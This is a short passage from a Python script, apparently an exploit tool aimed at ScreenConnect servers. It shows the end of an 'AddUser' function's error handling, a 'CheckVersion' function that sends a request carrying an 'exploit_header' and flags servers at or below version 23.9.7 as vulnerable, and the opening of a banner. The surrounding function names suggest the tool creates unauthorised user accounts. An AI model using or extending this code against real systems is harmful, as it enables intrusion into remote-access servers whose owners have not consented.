| 189 | print("[-] Error in func <AddUser>, error message: " + str(err)) |
| 190 | |
| 191 | def CheckVersion(url): |
| 192 | try: |
| 193 | response = requests.get(url=url + "/Login?Reason=0", headers=exploit_header, verify=False) |
| 194 | serverString = response.headers["Server"] |
| 195 | version = re.search(r"ScreenConnect\/([\d\.]+)-\d+", serverString).group(1) |
| 196 | if LooseVersion(version) <= LooseVersion("23.9.7"): |
| 197 | return True |
| 198 | else: |
| 199 | return False |
| 200 | except Exception as err: |
| 201 | print("[-] Error in func <CheckVersion>, error message: " + str(err)) |
| 202 | return False |
| 203 | |
| 204 | def ParseArguments(): |
| 205 | banner = r""" |